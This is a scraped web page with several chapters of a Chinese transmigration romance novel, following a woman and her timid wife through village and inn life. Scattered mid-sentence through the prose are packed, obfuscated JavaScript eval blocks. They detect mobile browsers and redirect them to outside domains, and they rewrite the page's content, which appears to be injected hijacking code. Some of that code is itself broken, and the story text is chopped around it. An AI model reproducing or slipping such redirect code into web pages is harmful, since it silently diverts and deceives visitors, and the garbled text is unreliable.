l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14214985|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叨叨,“可是,可是你也是女子,我不能在家里什么都不做,等着你来养我。” 从知道自己要嫁的是一个女子起,她便是这么想的,只要对方比她父母待她稍微好一点点,她便会与她好好生活,双方都努力经营家庭,只是没想到…… 嫁过来后才发现,这是一个更深的地狱。 她对几乎见不到光的生活妥协了,若是日子过不下去,死了也行,可偏偏就在这时候,宋渝归变了。 变成她做梦都不敢想的样子。 她竟然也会怜惜她了。 漆黑的地方被撕开一道口子,光争先恐后的跑进来,从来没被人好好对待过的小姑娘轻易受到迷惑。 “你不是洗衣做饭吗?怎么能叫等我来养你?” 宋渝归不解,劳动价值也是价值啊! “那,那不一样,我也想给家里赚些银钱。” 真是有好日子都不会过。 她被人鄙夷的望了一眼,可宋渝归也不敢骂她,之前说她两句就生了一整日的气,可难哄了,今天纵然心里憋闷,也不敢再说她,憋了半天,只有一句话,“不许再去了。” 沈惜枝:! 噘着嘴嘟嘟囔囔,“又不许去,你总是不许我做这个不许我做那个。” 自从被人温软的哄过后,她胆子便大了许多,都敢跟人顶嘴了。 “田地里都是男子,他们力气大,你一个小姑娘才能帮多少忙?不许去。” 她不知道这里是什么样的,反正她在现代,社会新闻看多了,对男人天生有一种警惕的心理。 沈惜枝争不过她,鼓了鼓腮帮子,默默扭头,不理她了。 又生气。 哼,生气就生气。 宋渝归抬了抬下巴,同样不理她,但没过一会儿,又凑过去扶着女子手臂,故作高冷,“山路崎岖,你要是摔了就没人给我做饭了!” 沈惜枝:…… 有没有人跟你说过,你很不适合故意做刻薄的样子,太假了。 “那就辛苦妻君了。” 她也不是什么不知好歹的,有台阶赶忙顺着下了,妻子辛苦一日,怎么再和她吵架,让她费心? 沈惜枝垂眸,罢了,她不想我去田里就不去了,她本就怕我与别的男子有染,我何必做这些惹她猜忌的事。 22. 第 22 章 两人各怀心思回家。 经过了一个月,鸡崽还是小小的一只,在院子里挺着胸脯走来走去,宋渝归闲着无聊,跑去用手指逗弄它。 沈惜枝将柴火堆在院子里的房檐下,便进屋拾掇起晚饭来。 她们买了一点灯油,点上油灯,晚上也不至于两眼一抹黑了。 等宋渝归进来,她微微抬眼道,“妻君先洗个手吧,很快就能吃饭了。” 米饭是出门时闷着的,已经好了,她摊两个鸡蛋饼就能吃。 宋渝归刚摸了鸡,也嫌弃自己的手呢,应了一声跑去洗手。 幸好原主给她留了个井,不然打水还要跑老远,她真的会仇恨所有人。 等洗完手回来后就可以吃饭了,两张鸡蛋饼一碗野菜汤,还有两碗米饭。 宋渝归照例坐下来的第一件事就是拿过对面的小碗给沈惜枝拨了一点米饭,对方手足无措的想阻止,也没成功。 “以后就按照这个分量给自己煮饭,不许再少煮。” 宋渝归认真严肃。 沈惜枝缩了缩纤长的脖子,小声道,“可是,可是太多了,我不用吃这么多的。” “你能吃完。” 两人也相处一个多月了,哪能连媳妇儿的胃口都不知道啊,她就是想省一点口粮! 但现在又不像以前那么捉襟见肘了,有啥好省的? “可,可我不吃这么多也能饱的……” 小姑娘心虚,见宋渝归盯着她,就有些不敢说话。 筷子悄悄戳了戳米饭,嘟囔着,“好嘛好嘛,我吃就是了。” “嗯。” 刚刚还有点凶的人脸色又缓和下来,给她夹了一张鸡蛋饼。 一共摊了两张,刚好一人一张,是加了水和野菜摊的,也挺大。 沈惜枝见鸡蛋饼落在自己碗里,皱了皱小脸,“这是给你吃的。” “一人一个。” “我吃一点就好了。” 她说着要将鸡蛋饼再分一大半给她,宋渝归不高兴,放下筷子,“一人一个,我不要多的。” “别分了,沈惜枝。” 她连名带姓似警告的叫了一遍,沈惜枝动作一顿,知道她是生气了,心里骤然有些委屈。 生出一种,我为你好,关心你,你不领情就算了还凶我的情绪。 于是小姑娘抿着唇,红着眼眶悄悄瞪她一眼,既不敢不听她的话,也不敢光明正大瞪她。 宋渝归心想,真是不识好人心,让你多吃点还要不高兴。 又想,所以这般忍让,连生气都娇娇软软的女子究竟是被欺负到了何种境地,才会生出杀心,狠下杀手的? 她越想越心疼,不由缓下语气, “不就是一颗蛋吗,等我拿了这个月的工钱,给你买一兜鸡蛋吃,这有什么好省的。” 上个月的工钱已经领了,这个月的工钱便是新的三百文,等过了这个月,日子就好过了。 沈惜枝闷头吃饭,不理她,恶狠狠咬了一口蛋,仿佛将那蛋当做什么可恶的人一般。 过了一会儿,才低着头含糊不清道,“买鸡比较实惠。” 宋渝归:…… “好好好,听你的,买鸡就买鸡。” 她颇为无奈,应承了。 沈惜枝这才有点高兴起来,乖乖就着一点菜汤将剩下的米饭吃完了,蛋饼也吃完了。 她不想吃,可她不吃,宋渝归就生气。 从没见过这样不讲理的人。 沈惜枝不想见她生气,不想她对自己凶凶冷冷的,只能听话。 两人饭后例行散步,远远就看见一男子从山上走来,挑着两担东西,走近一看,全是柴火。 嚯,她和惜枝一人背一背篓还嫌累呢。 有点嫉妒了。 “堂姐。” 直到对方停在她面前,又一次叫出了那个熟悉的称呼。 宋渝归才发现, 怎么又是男主? 她下意识攥住沈惜枝的手腕将人往身后捞了捞,仿佛想躲避一般。 好一会儿才反应过来男主和自己打招呼了,以原主的性子,好歹会回一声吧。 宋渝归默默挺直脊背,认真的面色显得有些冷淡,应了一声,“嗯,刚下山?” “娘说家里没有柴烧了,我上山去砍一点。” “哦,那大晚上的砍完了就赶紧回去吧。” 别在外面晃悠了。 挡了我媳妇儿的眼! 哼。 宋星川握着扁担,犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14224452|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,才开口,“堂姐家里只有女子,明天我帮堂姐挑一担柴吧。” 哟,男主人还挺好的。 宋渝归犹豫,她不想让自家反派和男主接触太多,但又有点想占便宜,看男主实实在在的挑了一担柴,可是能烧很久的! “那……行吧,多谢堂弟,不过我家明天没人,你自己挑完放院子里就成,我有机会再去你家向你道谢。” 不想让大反派和男主过多接触,那把大反派带出去也就是了。 待人走后,沈惜枝茫然的拉拉宋渝归,“明日我在家呀,我可以招待他的。” 宋渝归一面将反派拉到身边带着走,一面低头小声道,“不是让你少与他来往吗,明天我带你去酒楼,你……坐在旁边等我好不好?” 沈惜枝垂眸,神色有一瞬间十分难看,她觉得宋渝归说这话的意思是怀疑她的贞洁,怀疑她会与宋星川有染。 可她没有的。 才没有喜欢男子。 小姑娘在听到一半时就不由自主红了眼眶,直到宋渝归说要把她带去酒楼里。 浓密的眼睫上还沾着些许湿气,一缕一缕黏在一起。 “带,带我去酒楼,可以吗?我是女子也没关系吗?” 沈惜枝踟蹰不定,她怕有人知道宋渝归磨镜的事,嘲笑于她。 “嗯,没事,我朝民风开放,磨镜之事也屡见不鲜,这有什么。” 听她说没事,沈惜枝心里安定了一下,又有些害羞,这还是对方第一次要将她带出去呢。 是光明正大的带出去,不是随随便便就介绍给人家。 小姑娘红了脸,心里的气闷暂时被压下去,抿嘴点头,“嗯,那我跟你去,我可以帮你打下手。” 她乖的很,听李大娘说在酒楼做店小二是很累的,便忍不住想帮人分忧。 宋渝归可不需要她干活,“不用,你又不是我们酒楼的人,干活也没人给你钱,歇着吧,等我下工就带你回家。” 她好像只是想把她带走,却什么都不需要她做,单纯希望她……别和方才的男子单独见面。 上一次也是,叫她离他远点,宋渝归当真怀疑她会与别的男子有私情不成? 女子眸色渐深,手腕被人拉着,垂首安静的跟在身后。 23. 第 23 章 第二日,宋渝归带着小媳妇儿出现在酒楼门口,掌柜兰香正靠在门口看往来的人流,见着她来,笑着问,“呀,今儿这么早?” 宋渝归不好意思的低了低头,“嗯,掌柜,这是我妻子,今天想来陪陪我。” “你妻子?” 兰香樱桃小嘴微微张开,神色颇有些不敢相信。 没想到自己楼里的小二竟是个磨镜。 我朝虽民风开放,但磨镜这种事……在一些边陲小地,还是很少出现的,更难有人如此坦然的承认。 宋渝归认真点头,没有半分遮掩的意思,“嗯,她今日一个人在家,我不放心,所以……” 沈惜枝在她身后羞的攥紧了女子衣襟,看着就黏人的很。 好一会儿,兰香才反应过来,也没说什么,红唇轻轻勾起,“原来是妹妹啊,那快进来,王师傅的夫人也在,你们两个可以坐在一起聊聊天。” 酒楼有一个小隔间,偶尔家里有人过来便可在小隔间说话。 王师傅的夫人怀胎九月,家中无人照料,他不放心,因此跟掌柜说过后,便将夫人带来酒楼隔间,偶尔也能看顾一下。 宋渝归也是知道这件事,才起了把反派带在身边的心思。 她在村里名声不好,反派因为不是本村人,外加嫁给一个磨镜,名声同样好不到哪去。 万一村里人在我不知道的时候欺负了她,或者和她叭叭我坏话呢!!! 哼,誓死捍卫我的名誉! 沈惜枝很少同不认识的人说话,听见掌柜温和的声音,纤长眼睫便颤了颤,更不好意思的躲在宋渝归身后,红着脸颊轻轻点头。 兰香扭着丰腴的身子走在前面,摇摇扇子,脸上的笑就没停下来过,没想到小归的妻子竟是这般胆小可人的性子。 宋渝归把人领到隔间,王师傅和他夫人还没到,“你先坐会儿,等一下就有人来和你说话了,我去打扫一下酒楼。” 她想的很好,她辛苦一点没事,总要把媳妇儿养好了。 小姑娘瘦的几乎成骷髅架子,可不能再叫她吃苦。 然而…… 天不遂人愿,宋渝归刚将二楼雅间打扫完,一下来就见自己发誓要好好养的小媳妇儿拿着把扫帚,弯着腰吭哧吭哧在楼下扫地,走近了,还听见掌柜的笑着夸她扫的干净。 不是? 是你的员工吗你就夸? “惜枝。” 宋渝归额角青筋跳了跳,“不是让你坐着等我就好了?” 怎么还干起活来了? 沈惜枝听见妻子声音,眼眸一亮,即使明白她有点不高兴,也还是期期艾艾的凑过去,抬着一双湿润眼眸,“大堂我和另一位姑娘都打扫完了,你休息一下吧。” …… 兰香摇摇头感叹道,“小归真是好福气。” 这媳妇儿哪娶的,这么乖巧又会心疼人。 啧啧啧。 宋渝归无奈,“不是叫你别帮我干活吗,怎这样不听话。” 自己偷偷跑去帮别人做农活也就算了,累了好几日,今天刚好可以休息一下,什么都不用干,在房间里等她下班就好了,谁知道沈惜枝闲不住啊。 偷偷就跑出来干活了。 “你夫人是心疼你呢,你还说她,真叫人伤心。” 兰香为沈惜枝出头,这句话后又笑意盈盈的接,“好了,一楼也打扫的差不多了,你们休息一下吧,等会儿该来客人了,你也别再说她,我看小姑娘胆子小,不经事儿,等会儿别被你说哭了,我们还得帮着你哄。” 兰香用圆扇遮掩住唇角大大的笑容。 宋渝归挑了挑眉头,心想她还不经事啊,她经历的可比旁人多的多了。 再能忍耐不过。 但爱哭是真的。 沈惜枝恐她生气,听人说完后小心翼翼的觑她,还伸手悄摸拉住她一截小指,撒娇般晃了晃。 是呀,别再说我了。 就是心里再不高兴,面对小媳妇儿这样,她也是有火难发。 盯着人一会儿,宋渝归没忍住,抬手在她毛茸茸的后脑勺摸了一下,哎,我媳妇肯定是以前受了很多苦,才变成这么眼里有活的乖巧性子。 算了,不欺负她了。 宋渝归也知道以两人的关系,她对沈惜枝凶无异于欺负人,沈惜枝也不敢反抗,就是有时候真忍不住,她气人的厉害。 宋渝归反握住小妻子的手,答了个“嗯”,就将她带去了一边。 沈惜枝嘴角抿出温软笑容,乖乖跟在后面。 “累不累?” 宋渝归抬手帮人理了理有些凌乱的青丝。 沈惜枝眼睛亮亮的,摇头,“不累的,我和别人一起做,没有做很久。” “一会儿客人来了会很忙,我许顾不上你,你自己待在隔间里,无聊就去街上透透气,买点吃的好不好?” 语气像哄小孩一样。 宋渝归将一个钱袋子塞进人手里,沈惜枝又要如往常一样拒绝,被她故意冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋渝归不知这人心里百般复杂,深受折磨,点点头,“嗯,这是我妻子,沈惜枝,你应该认识她,这是沈翠,我的同……朋友。” 差点要叫同事了,龟龟心虚。 沈惜枝握住妻子的手腕,对沈翠是谁毫不在意,随便点点头,眼眸专注的望着妻子,温声道,“你刚刚忙了一通也该累了,先去喝口水好不好?” 不闹脾气的反派体贴的厉害,宋渝归被她愈发绵软的声音弄的晕乎乎,没有任何反抗就跟在她身后走了。 沈翠眼睁睁见她们牵手离开,心中大骂,谣传误我! 这看着哪像是感情不好的样子,分明,分明比寻常夫妻要亲切紧密的多了。 24. 第 24 章 忙碌一日,刚回家就看见院子里满满两担柴,宋渝归欣慰,男主现在看起来人还可以。 等我有钱了,一定还他! 沈惜枝也高兴的眯了眯眼睛,像只等待抚摸的毛茸茸小宠物,抱着宋渝归手臂,“好多柴,可以过冬了!” 她们前面也捡了很多柴,加上这些,接下来就不用再去辛苦捡柴了。 “嗯。” 她拉着沈惜枝的手进去,一天没吃饭的小鸡从鸡窝里钻出来,愤怒挥扇,沈惜枝捂着唇惊呼,“呀,我忘记喂鸡了,还是长身体的时候呢,可要多吃些。” 她还指望这鸡多下两个蛋给妻子补身子呢! 宋渝归望着女子纤长笔直,急匆匆的背影,心想,你也还在长身体的时候,怎么不知道多吃些? 人可不能在我手里瘦下去,不然等和离后,该怨我了。 她一边想,一边提菜进屋。 因为沈惜枝今日帮酒楼干了不少活,回来时掌柜挑了一块剩下的猪肝与些许青菜叫她带回来吃,刚好省了买菜钱,还能吃的好一点。 沈惜枝喂完鸡,又开始生火做饭,眼见宋渝归背上背篓打算出去,连忙唤住她,“你要去做什么?累了一日,歇歇吧。” 女子眼里少见的有些疼惜。 从前不知道也就罢了,今日她都看见了,酒楼好忙,宋渝归她,总是在流汗,这份工不好。 沈惜枝咬了咬水嫩的唇瓣,有些任性想,她不喜欢这份工。 她,她不想让宋渝归这么辛苦。 也可以少吃一点,不赚那么多钱的。 只要宋渝归别变成以前那样就行了。 宋渝归对女子的情绪毫无察觉,笑的甚至有点高兴,“我去割猪草,你没感觉猪肥了很多吗,再喂点,赶在过年前养肥了杀猪吃。” 还能省一笔过年买肉的钱呢。 沈惜枝抿了抿唇,快步走过去将人拉住,“你别去了,休息一下吧,等会儿我去割。” “你?那还是我去吧。” 宋渝归一双眼睛打量似的在女子身上来回梭巡,最后说出那句话,好似十分不信任她,沈惜枝气红了脸。 什么我就算了,你懒得去割猪草的时候,难道不是我去割的吗? “没事的,我很快就回来,等回来了刚好能赶上吃饭,听话,在家等我。” 她安抚般揉了揉女子毛茸茸的头发。 嗯,缺一根漂亮簪子,等攒点钱就给她买。 沈惜枝闷闷不乐,低头转身继续做饭。 总是叫她听话听话,可她自己一点也不听话。 宋渝归没注意小姑娘不高兴的情绪,见她不再纠缠,只觉乖巧,她快步离开,又在饭点背了满满的猪草回来。 沈惜枝心里还有点气,鼓着腮帮子坐在饭桌前闷闷不乐,被宋渝归喂完猪顺手薅了一把脑袋。 更生气了。 不满的嘟囔,“不要没洗手就摸我头。” “好好好,是我忘了小枝儿爱干净,下次一定先洗手,哇,猪肝好香啊。” 今日两人也算奢侈了一把,沈惜枝做了一道爆炒猪肝一道炒青菜,猪肝放了不少油,又加了大蒜叶提香,远远就能闻到味道,可要把人香迷糊了。 沈惜枝还沉浸在那一声小枝儿中,只觉得心像是泡在蜜水里,怎么,怎么又这么叫啊…… 真是不知羞。 眼尾不自觉晕上漂亮的粉色。 “你多吃一点吧,忙了一日,肯定饿了。” 沈惜枝开始乖乖给她夹猪肝,至于什么生气不满,早忘到爪哇国去了。 饭她特意煮了比较多,给她盛了冒尖儿的一碗,从前不知她如此辛苦,现在知道了,辛苦的人自然要多吃点饭,身上才有力气。 宋渝归扫了一眼沈惜枝面前的碗,见分量也不少,才安心扒自己的饭。 糙米也好吃,就是有点拉嗓子,猪肝好软乎好香,太幸福了,有做饭这么好吃的媳妇儿,原主还有什么不满足! 哼。 宋渝归在心里批评了原主一通,很快就将一碗饭吃了个干净。 沈惜枝见她吃得香,不知不觉也多吃了些,眉眼盈着浅浅笑意。 如果能一直这样……也很好的。 她每日都很高兴很期待。 . 晚上睡觉时,宋渝归照例揽过圆润滑嫩的肩膀,掌心穿过漂亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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女子垂下眼眸,长而卷翘的浓密眼睫覆住眼睛,她看不见她的神色,只能看见毛茸茸的发顶。 但骤然松了一口气,“嗯,我也会早点回家的。” 一个人在家或许是太无聊了。 25. 第 25 章 宋渝归自认将媳妇儿哄的好好的,走前对方也没有生气,仍旧是那副温温柔柔的模样,可怎么……一回家就别扭起来了呢? 她默默看着神色平静收拾屋子的女子,张了张嘴,却不知道该说什么。 怎么有点不对劲呢…… 这几日习惯了小姑娘看她一回来就跳到她身边叽叽喳喳说话的样子,她有点不习惯对方这样…… 不说话,也不看她。 变成了她刚穿书时的模样。 宋渝归皱着眉坐在院子里,眼看妻子走来走去就是不搭理她,没忍住,“惜枝。” 握着笤帚的手一顿,腿比脑子快,已经下意识要往她身边走了,但堪堪止住,小姑娘站在原地抿了抿唇,小声答复,“妻君,有事要吩咐我吗。” 这话听着也怪,怎么恭恭敬敬的。 她眉头皱的更紧了,见人不再过来,便抬手招了招,“我有话和你说,你站近一点。” “哦。” 沈惜枝这才低眉垂目,乖乖过去了。 然后猝不及防被人握住手腕,往下一拉,她神色瞬间染上惊惶,身子却不受控制的顺着力道坐在她腿上,被人以侧坐的姿势揽在怀里。 小脸霎时红的像朝阳,艳丽好看。 宋渝归长臂摸过去,握着女子柔韧纤细的小腰,另一只手捏了捏鼻梁,一脸头疼,“你怎么了,感觉今天心情不大好?” 沈惜枝挣扎两下,可那只手握的紧,怎么也逃不掉,只得认了这般亲昵的姿势,垂眸,不知不觉又往她怀里靠了一点,几乎是依在她胸口上,声音却努力强装平静,“有吗,妻君想多了。” 这个称呼她本都要听习惯了,今天却忽然觉得很别扭,有点生疏。 “你叫我名字就是,又不是大户人家,不用那样叫。” 女子和男子成婚,称呼对方为夫君也就罢了,她们是女子与女子,搞那些做什么,原主就是个脑子有泡的。 沈惜枝长而卷翘的眼睫尽数覆住眼底情绪,“是妻君吩咐我这么叫的,我自然听从妻君的。” “但我现在让你不用这么叫了,你不听话吗?” 宋渝归握着腰的手紧了两下。 沈惜枝顿了顿,微微摇头,也,也是听话的。 可是…… 她若不这么叫,万一哪日她性子又不好了,借此找她麻烦可怎么办? 小姑娘从前日子过得不咋好,忧心忡忡看了宋渝归一眼。 宋渝归见她只是摇头,却不说话,眉头皱的更紧,怎么了这是。 “有人欺负你了?你看起来不大高兴。” 她将头埋的死低,嘴上一句不回,心里一个字没落,除了你,还有谁能欺负我。 她闷闷的,又忍不住想起以前的事,心里踟蹰不安,不知道宋渝归怎么一日之间忽然变了这么多,忽然……对她好了。 明明以前她很凶很坏的,为什么变了? 没有原因吗? 若是没有原因的话……是不是也会忽然变回去? 沈惜枝心中惶恐不安极了,掌心不自觉掐出四个月牙形的红痕来,她哪能猜到这具身子里换了灵魂啊,她只觉得害怕,怕的眼眶都红了。 一双漂亮鹿眼水汪汪的,抬起头可怜巴巴望着她。 宋渝归等不到一个答复,刚要凶她,就见她这幅模样,那颗心霎时提的高高的,不是,真被人欺负了? 谁,谁敢欺负我老婆! 宋渝归脸色顿时凶神恶煞起来,“有人欺负你了?你告诉我,我去帮你讨回来!” 她穿到古代,第一个见的人是沈惜枝,吃的第一口饭是沈惜枝做的,两人相依为命,谁敢欺负她? 只要惜枝以后不跟男主好,不追着男主跑,就算和离了她也会护着她的,谁都不许欺负她。 沈惜枝柔柔弱弱的,一看就很软乎很好欺负,这群人没有心吗,小姑娘都不放过! 宋渝归心里愤愤不平,骂了很多声。 直到怀里人红着眼眶,轻轻摇头,声音也细如蚊呐,像什么可怜巴巴无家可归的小动物。 “不,不是,没有人欺负我。” 没有人? 宋渝归怀疑的目光落在怀里人身上,握着她的腰往自己怀里摁了摁,沈惜枝下意识就要伸手去抱她脖子,但很快又反应过来什么,失神的将手收回去。 如玉手指在空中停了半晌,这一举动太明显,宋渝归想不发现都难,她心想,没人欺负你你干嘛冷暴力我,想到就生气,猛的抓起小姑娘手腕,勾到自己脖子上。 哼,不想抱也不成。 “没人欺负你你哭什么?” 沈惜枝还在怔愣的望着自己被安排好的手,听她问,抿了抿唇,下意识反驳,“没,没有哭。” “没有哭你眼睛红什么?跟小兔子似的。” 小兔子眼睛也红红的。 沈惜枝见她凶,继续抿唇,又不愿与她说话了。 瞧瞧,宋渝归最怕她什么也不说了,有哪对她不满的,可以说出来啊,万一她愿意改呢? 这一个字也不说,真是要急死人了。 气的脸绷紧了许久,待见怀里人眼泪花儿打湿了眼睫,才勉强缓和下来,不想将人吓得太过。 “说说吧,到底是谁招你了,我吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14253104|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她心中隐隐有预感,小妻子冷暴力的对象是她,大约是她惹了她生气。 虽然她不知道自己哪惹了。 一脸老实jpg. 沈惜枝被迫揽着她的脖子,身子离她更近了,有点不想说,偏又被强逼着,一副不说不能走的样子,磨磨蹭蹭好一会儿,才嗫嚅着开口柔软询问,“你,你会一直这样对我吗?” “什么?” 她声音太轻,宋渝归没听清。 “我说,你会一直对我这么好吗?” “这是什么……值得你不高兴的问题吗?” 宋渝归石化。 她就这一个媳妇,不对她好,对谁好?而且这就算好了? 沈惜枝听她这话,不高兴的翘了翘腿。 想说你以前对我很差很差,我不敢相信你,但她……不敢说。 万一说了以后,把人说生气了呢? 没人喜欢听别人说自己不好。 沈惜枝纤长眼睫颤了颤,只三个字,追问,“你会吗?” 宋渝归憋闷,点头,“虽然不知道你为什么突然问这个,但只要我在,我会一直对你……像现在这样。” 她自认还没开始对大反派好呢,衣服都舍不得给她买,倒是大反派对她很好,给她做了双鞋,羞愧。 因此犹豫了一下,也没敢说出那个好字,心里默默想着,起码会对她不比现在差,等以后有钱了,一定把人照顾的好好的。 “你会说谎吗?” 她又似不信任,继续追问。 宋渝归脸一黑,搂着人腰的手用力几分,耳边只有秋风与她掷地有声的声音,“不会,我从不说谎。” 沈惜枝将头靠在她胸口,浓密眼睫遮掩了眼底情绪,她心想,骗人,你喜欢说谎,总是说谎,十句有八句在说谎。 但她没办法反驳,没办法放开暖和的温度,反而一点一点越抱越紧了。 宋渝归见她又主动起来,仍旧不解,“你就因为想这个事不理我?” 沈惜枝闭嘴不说话,默默搂紧了脖子,柔韧的身子也往她怀里贴了贴,把人气跳脚了,直骂她没良心,多小的事儿啊,也值得她这样。 两人正僵持着,一个不敢抬头,怕被责骂胡思乱想没事找事,一个低头瞪她,忽而一道中年女子的声音插进来,“哎哟哟,怎么就给我看见了,这青天白日的,还在院子里,也不晓得收敛些。” 宋渝归:…… 抬头望去,妇人背着锄头捂住眼睛跑的可快了。 沈惜枝一惊,小脸瞬间通红通红,脑袋使劲儿往人怀里钻,像是要把自己完全藏起来了。 26. 第 26 章 那一日的闹别扭仿佛只是一点小情绪,过去了就好了。 沈惜枝如同往日一般黏人又娇俏,招人喜欢的很,宋渝归没忍住就想待她好些,疼宠些,拉着人去街上给她买了一身成衣。 小姑娘生的好看,肤色天生雪白又透亮,一双眼睛小鹿似的湿乎乎,楚楚可怜。 这样的美人看一眼她就想给她花钱。 沈惜枝被人带到街上,没成想是要去买那么贵的东西,轻咬着唇瓣,站在成衣铺子外不肯进去,脸色绯红,“我的衣服够穿了,不,不用买的。” 宋渝归做了一段时间店小二,力气仿佛也大了很多,轻易将人拉进铺子里,也不管小姑娘乐不乐意,自顾自给她挑起衣裳来。 沈惜枝急得在她左右团团转,“不用买,真的不用买,我衣裳够穿了。” “妻君,妻君!” “宋渝归!” 那日她让沈惜枝叫她名字,沈惜枝扭捏半天不肯,总是如往常一样唤她,但气急了或在她威逼之下也会叫她名字。 今日就是急了。 “你喜欢白色还是绿色?” 言语间,宋渝归看中两身冬衣,女子的裙子样式做的很漂亮,领口还有雪白的毛,看着就暖和,天已经很冷了,有一次她见惜枝在灶台做饭,小手冻得通红。 该买件暖和的衣裳了。 沈惜枝气的直跺脚,“哎呀,我不要,白的绿的都不要,我的衣裳够穿,你何苦来这浪费银子?” 才赚了多少呀,何必,何必这样……她又不会冻死,过了这么多个冬日,她很耐寒的。 可宋渝归半点不听她的,自顾自决定,“那就白色吧,衬你肤色,掌柜,这一件多少钱?” 掌柜的笑眯眯走过来,见两人一身粗布麻衣也没生出轻视之色,带着银手镯的手臂撑在柜子上,“小姑娘,你姐姐对你这般好,你作何要辜负她?” 沈惜枝见有人来了,去拉宋渝归的手下意识收回,垂在身侧微微蜷起,没理她,鼓了鼓腮帮子有些不高兴,什么姐姐啊,才不是姐姐。 宋渝归也淡声解释,“这是我妻子。” “妻子?” 掌柜的惊讶一瞬,很快反应过来,眉眼含笑,“原来是夫人,小姐看上这身了吗?” “嗯,请问这一件要多少银钱?” 她是真心要买的,问的也异常认真,小姑娘慌了神,看看雪白的裙子又看看与人探讨价格的妻子,咬了咬牙,又拉她,“不要,不要这套,我不喜欢白色。” 就算真要买,也别买白色的呀。 白色易脏,穿着做什么都不方便,她得极小心翼翼才行。 “那你喜欢什么颜色的?” 听她说不喜欢白色,宋渝归才一改方才忽视她的样子,低头温柔的重新询问起她的意见来。 沈惜枝就知她是故意的,嗔怪的瞪了她一眼,然后磨磨蹭蹭用眼睛望了一圈,最后不情不愿指着里边的衣服,“这青色比白色好看。” 青色? 宋渝归跟着看过去,见挂在壁上的一条浓青长裙,样式漂亮,袖口绣了几朵粉色小花,伸手一摸,也挺厚实,是好看的。 她知道小姑娘的心思,白色不耐脏,与其硬买白色叫人穿的小心翼翼的,青色也很不错,等日后她有银钱了,不再那么手头紧了,再给她买白裙子。 “嗯,那就青色那件,那件多少钱?” 掌柜的望了一眼,含笑道,“本来卖一百文的,但我与小姐有缘,见小姐面善,便便宜十文,只收九十文如何?” 沈惜枝深吸一口气,捂住小嘴,水汪汪的眼睛里不愿的情绪更浓了。 九十文! 她要是敢买,今天就别回去了! 小姑娘凶巴巴望向妻子。 宋渝归也皱了下眉,摇摇头,“不行,五十文。” 她深谙这些铺子大多价格虚高,所以一刀就下去小半。 把掌柜跟媳妇儿都惊了,“啊,小,小姐,这……” 她瞪圆了眼睛,终于知道对方也不是什么好糊弄的人,微微站直身子,神色认真起来,“五十文连绣娘的工钱都付不起,小姐说笑了。” “绣娘做一件衣裳就有五十文吗,这般好的事该去哪里找?不瞒您说,我妻子有一手好绣工,您看……” 掌柜:“……” “但五十文真的不能卖。” “那五十五行吗,姐姐,我们父母双亡,妻妻两人相依为命,真没有这么多银钱。” 沈惜枝:…… 心虚的低下头,她父母还没死呢,但,但妻君说死了,那就是死了吧! 掌柜听她言语恳求,有些犹豫,抬头看她,又看看那件衣裳,好一会儿才道,“最低也需得七十文,否则我可没法儿交代了。” 七十文,比九十低了二十,见掌柜的确实一副为难模样,宋渝归便知真给她砍到底了,心里对古代的衣裳价格也有了数,点点头微微笑起来,“好,就七十,多谢姐姐,我们下次还会来的。” “那我就当挣个回客了。” 宋渝归让沈惜枝试了一套合身的后,付了钱带着人和衣裳走了,沈惜枝神情扭捏,心中既高兴又忧愁。 她是第一个给我买衣服的人,从小我穿的不是娘不要的就是别人家不要的,这是我第一件新衣…… 可是……花了七十文呀,妻君手里才多少钱,一下就出去了七十文,她心疼。 宋渝归注意到身后人走的慢吞吞,一副心里攒事儿的模样,顺手将她拉到身边,狠狠揉了一把软嫩小脸,“愁什么,万事有我呢,我心里都有数,嗯?” 猪已肥,待宰中。 村里人应该会愿意买她们自家喂养的猪,她刀功或许不好,可以卖的比外头便宜些。 这也是一档进项,能补回来的,日子只会越过越好,看给小娘子愁的。 沈惜枝被她揉的小脸儿都红了,整张脸皱巴着,故作苦闷,眉眼低垂,心中其实有压抑不住的蜜意涌出来。 她就这么一点钱,用来给我买了一身新衣裳。 若能一直这么好就好了…… . 这日,宋渝归从酒楼回来,刚进村子,却被不知从哪蹿来的布衣男子拦住,对方叼着根狗尾巴草,上来就拍拍她的肩膀,“宋渝归,听闻你最近在镇上找了活儿干?怪不得都不与我们这些弟兄玩了。” 宋渝归大惊皱眉,侧身躲过他的手,心想谁啊,上来就动手,没礼貌,男女授受不亲,身为古代人还不知道这个规矩吗? 